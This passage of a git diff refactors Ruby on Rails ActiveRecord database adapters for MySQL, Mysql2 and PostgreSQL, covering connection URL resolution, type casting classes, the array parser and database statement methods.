-          spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
+        private
 
-          if config.query
-            options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+        # Returns fully resolved connection, accepts hash, string or symbol.
+        # Always returns a hash.
+        #
+        # == Examples
+        #
+        # Symbol representing current environment.
+        #
+        #   Resolver.new("production" => {}).resolve_connection(:production)
+        #   # => {}
+        #
+        # One layer deep hash of connection values.
+        #
+        #   Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+        #   # => { "adapter" => "sqlite3" }
+        #
+        # Connection URL.
+        #
+        #   Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve_connection(spec)
+          case spec
+          when Symbol
+            resolve_symbol_connection spec
+          when String
+            resolve_url_connection spec
+          when Hash
+            resolve_hash_connection spec
+          end
+        end
 
-            spec.merge!(options)
+        # Takes the environment such as +:production+ or +:development+.
+        # This requires that the @configurations was initialized with a key that
+        # matches.
+        #
+        #   Resolver.new("production" => {}).resolve_symbol_connection(:production)
+        #   # => {}
+        #
+        def resolve_symbol_connection(spec)
+          if config = configurations[spec.to_s]
+            resolve_connection(config)
+          else
+            raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
           end
+        end
 
+        # Accepts a hash. Expands the "url" key that contains a
+        # URL database connection to a full connection
+        # hash and merges with the rest of the hash.
+        # Connection details inside of the "url" key win any merge conflicts
+        def resolve_hash_connection(spec)
+          if spec["url"] && spec["url"] !~ /^jdbc:/
+            connection_hash = resolve_url_connection(spec.delete("url"))
+            spec.merge!(connection_hash)
+          end
           spec
         end
+
+        # Takes a connection URL.
+        #
+        #   Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve_url_connection(url)
+          ConnectionUrlResolver.new(url).to_hash
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index 92796c996e..fac6f81540 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -18,29 +18,28 @@ module ActiveRecord
       client = Mysql2::Client.new(config)
       options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
       ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+    rescue Mysql2::Error => error
+      if error.message.include?("Unknown database")
+        raise ActiveRecord::NoDatabaseError.new(error.message, error)
+      else
+        raise
+      end
     end
   end
 
   module ConnectionAdapters
     class Mysql2Adapter < AbstractMysqlAdapter
-
-      class Column < AbstractMysqlAdapter::Column # :nodoc:
-        def adapter
-          Mysql2Adapter
-        end
-      end
-
-      ADAPTER_NAME = 'Mysql2'
+      ADAPTER_NAME = 'Mysql2'.freeze
 
       def initialize(connection, logger, connection_options, config)
         super
-        @visitor = BindSubstitution.new self
+        @prepared_statements = false
         configure_connection
       end
 
       MAX_INDEX_LENGTH_FOR_UTF8MB4 = 191
       def initialize_schema_migrations_table
-        if @config[:encoding] == 'utf8mb4'
+        if charset == 'utf8mb4'
           ActiveRecord::SchemaMigration.create_table(MAX_INDEX_LENGTH_FOR_UTF8MB4)
         else
           ActiveRecord::SchemaMigration.create_table
@@ -63,21 +62,21 @@ module ActiveRecord
         end
       end
 
-      def new_column(field, default, type, null, collation, extra = "") # :nodoc:
-        Column.new(field, default, type, null, collation, strict_mode?, extra)
-      end
-
       def error_number(exception)
         exception.error_number if exception.respond_to?(:error_number)
       end
 
+      #--
       # QUOTING ==================================================
+      #++
 
       def quote_string(string)
         @connection.escape(string)
       end
 
+      #--
       # CONNECTION MANAGEMENT ====================================
+      #++
 
       def active?
         return false unless @connection
@@ -101,7 +100,9 @@ module ActiveRecord
         end
       end
 
+      #--
       # DATABASE STATEMENTS ======================================
+      #++
 
       def explain(arel, binds = [])
         sql     = "EXPLAIN #{to_sql(arel, binds.dup)}"
@@ -207,7 +208,7 @@ module ActiveRecord
 
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
         execute(sql, name).to_a
       end
 
@@ -229,11 +230,6 @@ module ActiveRecord
 
       alias exec_without_stmt exec_query
 
-      # Returns an ActiveRecord::Result instance. 
-      def select(sql, name = nil, binds = [])
-        exec_query(sql, name)
-      end
-
       def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
         super
         id_value || @connection.last_id
@@ -266,8 +262,8 @@ module ActiveRecord
         super
       end
 
-      def version
-        @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+      def full_version
+        @full_version ||= @connection.info[:version]
       end
 
       def set_field_encoding field_name
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 15b5452850..16f50fc594 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -34,6 +34,12 @@ module ActiveRecord
       default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
       options = [host, username, password, database, port, socket, default_flags]
       ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+    rescue Mysql::Error => error
+      if error.message.include?("Unknown database")
+        raise ActiveRecord::NoDatabaseError.new(error.message, error)
+      else
+        raise
+      end
     end
   end
 
@@ -52,7 +58,7 @@ module ActiveRecord
     # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
     # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
     # * <tt>:strict</tt> - Defaults to true. Enable STRICT_ALL_TABLES. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html)
-    # * <tt>:variables</tt> - (Optional) A hash session variables to send as `SET @@SESSION.key = value` on each database connection. Use the value `:default` to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/set-statement.html).
+    # * <tt>:variables</tt> - (Optional) A hash session variables to send as <tt>SET @@SESSION.key = value</tt> on each database connection. Use the value +:default+ to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/set-statement.html).
     # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
@@ -60,36 +66,7 @@ module ActiveRecord
     # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
     #
     class MysqlAdapter < AbstractMysqlAdapter
-
-      class Column < AbstractMysqlAdapter::Column #:nodoc:
-        def self.string_to_time(value)
-          return super unless Mysql::Time === value
-          new_time(
-            value.year,
-            value.month,
-            value.day,
-            value.hour,
-            value.minute,
-            value.second,
-            value.second_part)
-        end
-
-        def self.string_to_dummy_time(v)
-          return super unless Mysql::Time === v
-          new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part)
-        end
-
-        def self.string_to_date(v)
-          return super unless Mysql::Time === v
-          new_date(v.year, v.month, v.day)
-        end
-
-        def adapter
-          MysqlAdapter
-        end
-      end
-
-      ADAPTER_NAME = 'MySQL'
+      ADAPTER_NAME = 'MySQL'.freeze
 
       class StatementPool < ConnectionAdapters::StatementPool
         def initialize(connection, max = 1000)
@@ -111,7 +88,7 @@ module ActiveRecord
         end
 
         def clear
-          cache.values.each do |hash|
+          cache.each_value do |hash|
             hash[:stmt].close
           end
           cache.clear
@@ -150,27 +127,19 @@ module ActiveRecord
         end
       end
 
-      def new_column(field, default, type, null, collation, extra = "") # :nodoc:
-        Column.new(field, default, type, null, collation, strict_mode?, extra)
-      end
-
       def error_number(exception) # :nodoc:
         exception.errno if exception.respond_to?(:errno)
       end
 
       # QUOTING ==================================================
 
-      def type_cast(value, column)
-        return super unless value == true || value == false
-
-        value ? 1 : 0
-      end
-
       def quote_string(string) #:nodoc:
         @connection.quote(string)
       end
 
+      #--
       # CONNECTION MANAGEMENT ====================================
+      #++
 
       def active?
         if @connection.respond_to?(:stat)
@@ -211,17 +180,20 @@ module ActiveRecord
         end
       end
 
+      #--
       # DATABASE STATEMENTS ======================================
+      #++
 
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
         @connection.query_with_result = true
-        rows = exec_query(sql, name).rows
+        rows = exec_query(sql, name, binds).rows
         @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
         rows
       end
 
       # Clears the prepared statements cache.
       def clear_cache!
+        super
         @statements.clear
       end
 
@@ -279,11 +251,7 @@ module ActiveRecord
       end
 
       def exec_query(sql, name = 'SQL', binds = [])
-        # If the configuration sets prepared_statements:false, binds will
-        # always be empty, since the bind variables will have been already
-        # substituted and removed from binds by BindVisitor, so this will
-        # effectively disable prepared statement usage completely.
-        if binds.empty?
+        if without_prepared_statement?(binds)
           result_set, affected_rows = exec_without_stmt(sql, name)
         else
           result_set, affected_rows = exec_stmt(sql, name, binds)
@@ -298,126 +266,70 @@ module ActiveRecord
         @connection.insert_id
       end
 
-      module Fields
-        class Type
-          def type; end
-
-          def type_cast_for_write(value)
-            value
-          end
-        end
-
-        class Identity < Type
-          def type_cast(value); value; end
-        end
-
-        class Integer < Type
-          def type_cast(value)
-            return if value.nil?
-
-            value.to_i rescue value ? 1 : 0
+      module Fields # :nodoc:
+        class DateTime < Type::DateTime # :nodoc:
+          def cast_value(value)
+            if Mysql::Time === value
+              new_time(
+                value.year,
+                value.month,
+                value.day,
+                value.hour,
+                value.minute,
+                value.second,
+                value.second_part)
+            else
+              super
+            end
           end
         end
 
-        class Date < Type
-          def type; :date; end
-
-          def type_cast(value)
-            return if value.nil?
-
-            # FIXME: probably we can improve this since we know it is mysql
-            # specific
-            ConnectionAdapters::Column.value_to_date value
-          end
-        end
-
-        class DateTime < Type
-          def type; :datetime; end
-
-          def type_cast(value)
-            return if value.nil?
-
-            # FIXME: probably we can improve this since we know it is mysql
-            # specific
-            ConnectionAdapters::Column.string_to_time value
+        class Time < Type::Time # :nodoc:
+          def cast_value(value)
+            if Mysql::Time === value
+              new_time(
+                2000,
+                01,
+                01,
+                value.hour,
+                value.minute,
+                value.second,
+                value.second_part)
+            else
+              super
+            end
           end
         end
 
-        class Time < Type
-          def type; :time; end
+        class << self
+          TYPES = Type::HashLookupTypeMap.new # :nodoc:
 
-          def type_cast(value)
-            return if value.nil?
+          delegate :register_type, :alias_type, to: :TYPES
 
-            # FIXME: probably we can improve this since we know it is mysql
-            # specific
-            ConnectionAdapters::Column.string_to_dummy_time value
+          def find_type(field)
+            if field.type == Mysql::Field::TYPE_TINY && field.length > 1
+              TYPES.lookup(Mysql::Field::TYPE_LONG)
+            else
+              TYPES.lookup(field.type)
+            end
           end
         end
 
-        class Float < Type
-          def type; :float; end
-
-          def type_cast(value)
-            return if value.nil?
-
-            value.to_f
-          end
-        end
-
-        class Decimal < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::Column.value_to_decimal value
-          end
-        end
-
-        class Boolean < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::Column.value_to_boolean value
-          end
-        end
-
-        TYPES = {}
-
-        # Register an MySQL +type_id+ with a typecasting object in
-        # +type+.
-        def self.register_type(type_id, type)
-          TYPES[type_id] = type
-        end
-
-        def self.alias_type(new, old)
-          TYPES[new] = TYPES[old]
-        end
-
-        def self.find_type(field)
-          if field.type == Mysql::Field::TYPE_TINY && field.length > 1
-            TYPES[Mysql::Field::TYPE_LONG]
-          else
-            TYPES.fetch(field.type) { Fields::Identity.new }
-          end
-        end
-
-        register_type Mysql::Field::TYPE_TINY,    Fields::Boolean.new
-        register_type Mysql::Field::TYPE_LONG,    Fields::Integer.new
+        register_type Mysql::Field::TYPE_TINY,    Type::Boolean.new
+        register_type Mysql::Field::TYPE_LONG,    Type::Integer.new
         alias_type Mysql::Field::TYPE_LONGLONG,   Mysql::Field::TYPE_LONG
         alias_type Mysql::Field::TYPE_NEWDECIMAL, Mysql::Field::TYPE_LONG
 
-        register_type Mysql::Field::TYPE_VAR_STRING, Fields::Identity.new
-        register_type Mysql::Field::TYPE_BLOB, Fields::Identity.new
-        register_type Mysql::Field::TYPE_DATE, Fields::Date.new
+        register_type Mysql::Field::TYPE_DATE, Type::Date.new
         register_type Mysql::Field::TYPE_DATETIME, Fields::DateTime.new
         register_type Mysql::Field::TYPE_TIME, Fields::Time.new
-        register_type Mysql::Field::TYPE_FLOAT, Fields::Float.new
+        register_type Mysql::Field::TYPE_FLOAT, Type::Float.new
+      end
 
-        Mysql::Field.constants.grep(/TYPE/).map { |class_name|
-          Mysql::Field.const_get class_name
-        }.reject { |const| TYPES.key? const }.each do |const|
-          register_type const, Fields::Identity.new
-        end
+      def initialize_type_map(m) # :nodoc:
+        super
+        m.register_type %r(datetime)i, Fields::DateTime.new
+        m.register_type %r(time)i,     Fields::Time.new
       end
 
       def exec_without_stmt(sql, name = 'SQL') # :nodoc:
@@ -429,14 +341,19 @@ module ActiveRecord
 
           if result
             types = {}
+            fields = []
             result.fetch_fields.each { |field|
+              field_name = field.name
+              fields << field_name
+
               if field.decimals > 0
-                types[field.name] = Fields::Decimal.new
+                types[field_name] = Type::Decimal.new
               else
-                types[field.name] = Fields.find_type field
+                types[field_name] = Fields.find_type field
               end
             }
-            result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+
+            result_set = ActiveRecord::Result.new(fields, result.to_a, types)
             result.free
           else
             result_set = ActiveRecord::Result.new([], [])
@@ -446,7 +363,7 @@ module ActiveRecord
         end
       end
 
-      def execute_and_free(sql, name = nil)
+      def execute_and_free(sql, name = nil) # :nodoc:
         result = execute(sql, name)
         ret = yield result
         result.free
@@ -459,7 +376,7 @@ module ActiveRecord
       end
       alias :create :insert_sql
 
-      def exec_delete(sql, name, binds)
+      def exec_delete(sql, name, binds) # :nodoc:
         affected_rows = 0
 
         exec_query(sql, name, binds) do |n|
@@ -472,14 +389,14 @@ module ActiveRecord
 
       def begin_db_transaction #:nodoc:
         exec_query "BEGIN"
-      rescue Mysql::Error
-        # Transactions aren't supported
       end
 
       private
 
       def exec_stmt(sql, name, binds)
         cache = {}
+        type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) }
+
         log(sql, name, binds) do
           if binds.empty?
             stmt = @connection.prepare(sql)
@@ -491,10 +408,10 @@ module ActiveRecord
           end
 
           begin
-            stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+            stmt.execute(*type_casted_binds)
           rescue Mysql::Error => e
             # Older versions of MySQL leave the prepared statement in a bad
-            # place when an error occurs. To support older mysql versions, we
+            # place when an error occurs. To support older MySQL versions, we
             # need to close the statement and delete the statement from the
             # cache.
             stmt.close
@@ -504,9 +421,7 @@ module ActiveRecord
 
           cols = nil
           if metadata = stmt.result_metadata
-            cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
-              field.name
-            }
+            cols = cache[:cols] ||= metadata.fetch_fields.map(&:name)
             metadata.free
           end
 
@@ -550,20 +465,20 @@ module ActiveRecord
 
       def select(sql, name = nil, binds = [])
         @connection.query_with_result = true
-        rows = exec_query(sql, name, binds)
+        rows = super
         @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
         rows
       end
 
-      # Returns the version of the connected MySQL server.
-      def version
-        @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+      # Returns the full version of the connected MySQL server.
+      def full_version
+        @full_version ||= @connection.server_info
       end
 
       def set_field_encoding field_name
         field_name.force_encoding(client_encoding)
         if internal_enc = Encoding.default_internal
-          field_name = field_name.encoding(internal_enc)
+          field_name = field_name.encode!(internal_enc)
         end
         field_name
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
index 20de8d1982..1b74c039ce 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -1,7 +1,7 @@
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLColumn < Column
-      module ArrayParser
+    module PostgreSQL
+      module ArrayParser # :nodoc:
 
         DOUBLE_QUOTE = '"'
         BACKSLASH = "\\"
@@ -9,35 +9,23 @@ module ActiveRecord
         BRACKET_OPEN = '{'
         BRACKET_CLOSE = '}'
 
-        private
-          # Loads pg_array_parser if available. String parsing can be
-          # performed quicker by a native extension, which will not create
-          # a large amount of Ruby objects that will need to be garbage
-          # collected. pg_array_parser has a C and Java extension
-          begin
-            require 'pg_array_parser'
-            include PgArrayParser
-          rescue LoadError
-            def parse_pg_array(string)
-              parse_data(string)
+        def parse_pg_array(string) # :nodoc:
+          local_index = 0
+          array = []
+          while(local_index < string.length)
+            case string[local_index]
+            when BRACKET_OPEN
+              local_index,array = parse_array_contents(array, string, local_index + 1)
+            when BRACKET_CLOSE
+              return array
             end
+            local_index += 1
           end
 
-          def parse_data(string)
-            local_index = 0
-            array = []
-            while(local_index < string.length)
-              case string[local_index]
-              when BRACKET_OPEN
-                local_index,array = parse_array_contents(array, string, local_index + 1)
-              when BRACKET_CLOSE
-                return array
-              end
-              local_index += 1
-            end
+          array
+        end
 
-            array
-          end
+        private
 
           def parse_array_contents(array, string, index)
             is_escaping  = false
@@ -91,8 +79,9 @@ module ActiveRecord
           end
 
           def add_item_to_array(array, current_item, quoted)
-            if current_item.length == 0
-            elsif !quoted && current_item == 'NULL'
+            return if !quoted && current_item.length == 0
+
+            if !quoted && current_item == 'NULL'
               array.push nil
             else
               array.push current_item
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
deleted file mode 100644
index ea44e818e5..0000000000
--- a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+++ /dev/null
@@ -1,164 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters
-    class PostgreSQLColumn < Column
-      module Cast
-        def point_to_string(point)
-          "(#{point[0]},#{point[1]})"
-        end
-
-        def string_to_point(string)
-          if string[0] == '(' && string[-1] == ')'
-            string = string[1...-1]
-          end
-          string.split(',').map{ |v| Float(v) }
-        end
-
-        def string_to_time(string)
-          return string unless String === string
-
-          case string
-          when 'infinity'; Float::INFINITY
-          when '-infinity'; -Float::INFINITY
-          when / BC$/
-            super("-" + string.sub(/ BC$/, ""))
-          else
-            super
-          end
-        end
-
-        def string_to_bit(value)
-          case value
-          when /^0x/i
-            value[2..-1].hex.to_s(2) # Hexadecimal notation
-          else
-            value                    # Bit-string notation
-          end
-        end
-
-        def hstore_to_string(object)
-          if Hash === object
-            object.map { |k,v|
-              "#{escape_hstore(k)}=>#{escape_hstore(v)}"
-            }.join ','
-          else
-            object
-          end
-        end
-
-        def string_to_hstore(string)
-          if string.nil?
-            nil
-          elsif String === string
-            Hash[string.scan(HstorePair).map { |k,v|
-              v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
-              k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
-              [k,v]
-            }]
-          else
-            string
-          end
-        end
-
-        def json_to_string(object)
-          if Hash === object || Array === object
-            ActiveSupport::JSON.encode(object)
-          else
-            object
-          end
-        end
-
-        def array_to_string(value, column, adapter, should_be_quoted = false)
-          casted_values = value.map do |val|
-            if String === val
-              if val == "NULL"
-                "\"#{val}\""
-              else
-                quote_and_escape(adapter.type_cast(val, column, true))
-              end
-            else
-              adapter.type_cast(val, column, true)
-            end
-          end
-          "{#{casted_values.join(',')}}"
-        end
-
-        def range_to_string(object)
-          from = object.begin.respond_to?(:infinite?) && object.begin.infinite? ? '' : object.begin
-          to   = object.end.respond_to?(:infinite?) && object.end.infinite? ? '' : object.end
-          "[#{from},#{to}#{object.exclude_end? ? ')' : ']'}"
-        end
-
-        def string_to_json(string)
-          if String === string
-            ActiveSupport::JSON.decode(string)
-          else
-            string
-          end
-        end
-
-        def string_to_cidr(string)
-          if string.nil?
-            nil
-          elsif String === string
-            begin
-              IPAddr.new(string)
-            rescue ArgumentError
-              nil
-            end
-          else
-            string
-          end
-        end
-
-        def cidr_to_string(object)
-          if IPAddr === object
-            "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
-          else
-            object
-          end
-        end
-
-        def string_to_array(string, oid)
-          parse_pg_array(string).map {|val| type_cast_array(oid, val)}
-        end
-
-        private
-
-          HstorePair = begin
-            quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
-            unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
-            /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
-          end
-
-          def escape_hstore(value)
-            if value.nil?
-              'NULL'
-            else
-              if value == ""
-                '""'
-              else
-                '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
-              end
-            end
-          end
-
-          def quote_and_escape(value)
-            case value
-            when "NULL"
-              value
-            else
-              "\"#{value.gsub(/"/,"\\\"")}\""
-            end
-          end
-
-          def type_cast_array(oid, value)
-            if ::Array === value
-              value.map {|item| type_cast_array(oid, item)}
-            else
-              oid.type_cast value
-            end
-          end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
new file mode 100644
index 0000000000..0eb4fb468c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  module ConnectionAdapters
+    # PostgreSQL-specific extensions to column definitions in a table.
+    class PostgreSQLColumn < Column #:nodoc:
+      delegate :array, :oid, :fmod, to: :sql_type_metadata
+      alias :array? :array
+
+      def serial?
+        default_function && default_function =~ /\Anextval\(.*\)\z/
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index 527d13b9b0..11d3f5301a 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -1,6 +1,6 @@
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLAdapter < AbstractAdapter
+    module PostgreSQL
       module DatabaseStatements
         def explain(arel, binds = [])
           sql = "EXPLAIN #{to_sql(arel, binds)}"
@@ -44,10 +44,32 @@ module ActiveRecord
           end
         end
 
+        def select_value(arel, name = nil, binds = [])
+          arel, binds = binds_from_relation arel, binds
+          sql = to_sql(arel, binds)
+          execute_and_clear(sql, name, binds) do |result|
+            result.getvalue(0, 0) if result.ntuples > 0 && result.nfields > 0
+          end
+        end
+
+        def select_values(arel, name = nil)
+          arel, binds = binds_from_relation arel, []
+          sql = to_sql(arel, binds)
+          execute_and_clear(sql, name, binds) do |result|
+            if result.nfields > 0
+              result.column_values(0)
+            else
+              []
+            end
+          end
+        end
+
         # Executes a SELECT query and returns an array of rows. Each row is an
         # array of field values.
-        def select_rows(sql, name = nil)
-          select_raw(sql, name).last
+        def select_rows(sql, name = nil, binds = [])
+          execute_and_clear(sql, name, binds) do |result|
+            result.values
+          end
         end
 
         # Executes an INSERT query and returns the new record's ID
@@ -72,6 +94,11 @@ module ActiveRecord
           super.insert
         end
 
+        # The internal PostgreSQL identifier of the money data type.
+        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
+        # The internal PostgreSQL identifier of the BYTEA data type.
+        BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
+
         # create a 2D array representing the result set
         def result_as_array(res) #:nodoc:
           # check if we have any binary column and if they need escaping
@@ -129,40 +156,21 @@ module ActiveRecord
           end
         end
 
-        def substitute_at(column, index)
-          Arel::Nodes::BindParam.new "$#{index + 1}"
-        end
-
         def exec_query(sql, name = 'SQL', binds = [])
-          log(sql, name, binds) do
-            result = binds.empty? ? exec_no_cache(sql, binds) :
-                                    exec_cache(sql, binds)
-
+          execute_and_clear(sql, name, binds) do |result|
             types = {}
             fields = result.fields
             fields.each_with_index do |fname, i|
               ftype = result.ftype i
               fmod  = result.fmod i
-              types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
-                warn "unknown OID: #{fname}(#{oid}) (#{sql})"
-                OID::Identity.new
-              }
+              types[fname] = get_oid_type(ftype, fmod, fname)
             end
-
-            ret = ActiveRecord::Result.new(fields, result.values, types)
-            result.clear
-            return ret
+            ActiveRecord::Result.new(fields, result.values, types)
           end
         end
 
         def exec_delete(sql, name = 'SQL', binds = [])
-          log(sql, name, binds) do
-            result = binds.empty? ? exec_no_cache(sql, binds) :
-                                    exec_cache(sql, binds)
-            affected = result.cmd_tuples
-            result.clear
-            affected
-          end
+          execute_and_clear(sql, name, binds) {|result| result.cmd_tuples }
         end
         alias :exec_update :exec_delete
 
@@ -215,21 +223,9 @@ module ActiveRecord
         end
 
         # Aborts a transaction.
-        def rollback_db_transaction
+        def exec_rollback_db_transaction
           execute "ROLLBACK"
         end
-
-        def create_savepoint
-          execute("SAVEPOINT #{current_savepoint_name}")
-        end
-
-        def rollback_to_savepoint
-          execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-        end
-
-        def release_savepoint
-          execute("RELEASE SAVEPOINT #{current_savepoint_name}")
-        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index dab876af14..92349e2f9b 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -1,370 +1,29 @@
-require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/postgresql/oid/array'
+require 'active_record/connection_adapters/postgresql/oid/bit'
+require 'active_record/connection_adapters/postgresql/oid/bit_varying'
+require 'active_record/connection_adapters/postgresql/oid/bytea'
+require 'active_record/connection_adapters/postgresql/oid/cidr'
+require 'active_record/connection_adapters/postgresql/oid/date_time'
+require 'active_record/connection_adapters/postgresql/oid/decimal'
+require 'active_record/connection_adapters/postgresql/oid/enum'
+require 'active_record/connection_adapters/postgresql/oid/hstore'
+require 'active_record/connection_adapters/postgresql/oid/inet'
+require 'active_record/connection_adapters/postgresql/oid/json'
+require 'active_record/connection_adapters/postgresql/oid/jsonb'
+require 'active_record/connection_adapters/postgresql/oid/money'
+require 'active_record/connection_adapters/postgresql/oid/point'
+require 'active_record/connection_adapters/postgresql/oid/range'
+require 'active_record/connection_adapters/postgresql/oid/specialized_string'
+require 'active_record/connection_adapters/postgresql/oid/uuid'
+require 'active_record/connection_adapters/postgresql/oid/vector'
+require 'active_record/connection_adapters/postgresql/oid/xml'
+
+require 'active_record/connection_adapters/postgresql/oid/type_map_initializer'
 
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLAdapter < AbstractAdapter
-      module OID
-        class Type
-          def type; end
-        end
-
-        class Identity < Type
-          def type_cast(value)
-            value
-          end
-        end
-
-        class Bit < Type
-          def type_cast(value)
-            if String === value
-              ConnectionAdapters::PostgreSQLColumn.string_to_bit value
-            else
-              value
-            end
-          end
-        end
-
-        class Bytea < Type
-          def type_cast(value)
-            return if value.nil?
-            PGconn.unescape_bytea value
-          end
-        end
-
-        class Money < Type
-          def type_cast(value)
-            return if value.nil?
-            return value unless String === value
-
-            # Because money output is formatted according to the locale, there are two
-            # cases to consider (note the decimal separators):
-            #  (1) $12,345,678.12
-            #  (2) $12.345.678,12
-            # Negative values are represented as follows:
-            #  (3) -$2.55
-            #  (4) ($2.55)
-
-            value.sub!(/^\((.+)\)$/, '-\1') # (4)
-            case value
-            when /^-?\D+[\d,]+\.\d{2}$/  # (1)
-              value.gsub!(/[^-\d.]/, '')
-            when /^-?\D+[\d.]+,\d{2}$/  # (2)
-              value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
-            end
-
-            ConnectionAdapters::Column.value_to_decimal value
-          end
-        end
-
-        class Vector < Type
-          attr_reader :delim, :subtype
-
-          # +delim+ corresponds to the `typdelim` column in the pg_types
-          # table.  +subtype+ is derived from the `typelem` column in the
-          # pg_types table.
-          def initialize(delim, subtype)
-            @delim   = delim
-            @subtype = subtype
-          end
-
-          # FIXME: this should probably split on +delim+ and use +subtype+
-          # to cast the values.  Unfortunately, the current Rails behavior
-          # is to just return the string.
-          def type_cast(value)
-            value
-          end
-        end
-
-        class Point < Type
-          def type_cast(value)
-            if String === value
-              ConnectionAdapters::PostgreSQLColumn.string_to_point value
-            else
-              value
-            end
-          end
-        end
-
-        class Array < Type
-          attr_reader :subtype
-          def initialize(subtype)
-            @subtype = subtype
-          end
-
-          def type_cast(value)
-            if String === value
-              ConnectionAdapters::PostgreSQLColumn.string_to_array value, @subtype
-            else
-              value
-            end
-          end
-        end
-
-        class Range < Type
-          attr_reader :subtype
-          def initialize(subtype)
-            @subtype = subtype
-          end
-
-          def extract_bounds(value)
-            from, to = value[1..-2].split(',')
-            {
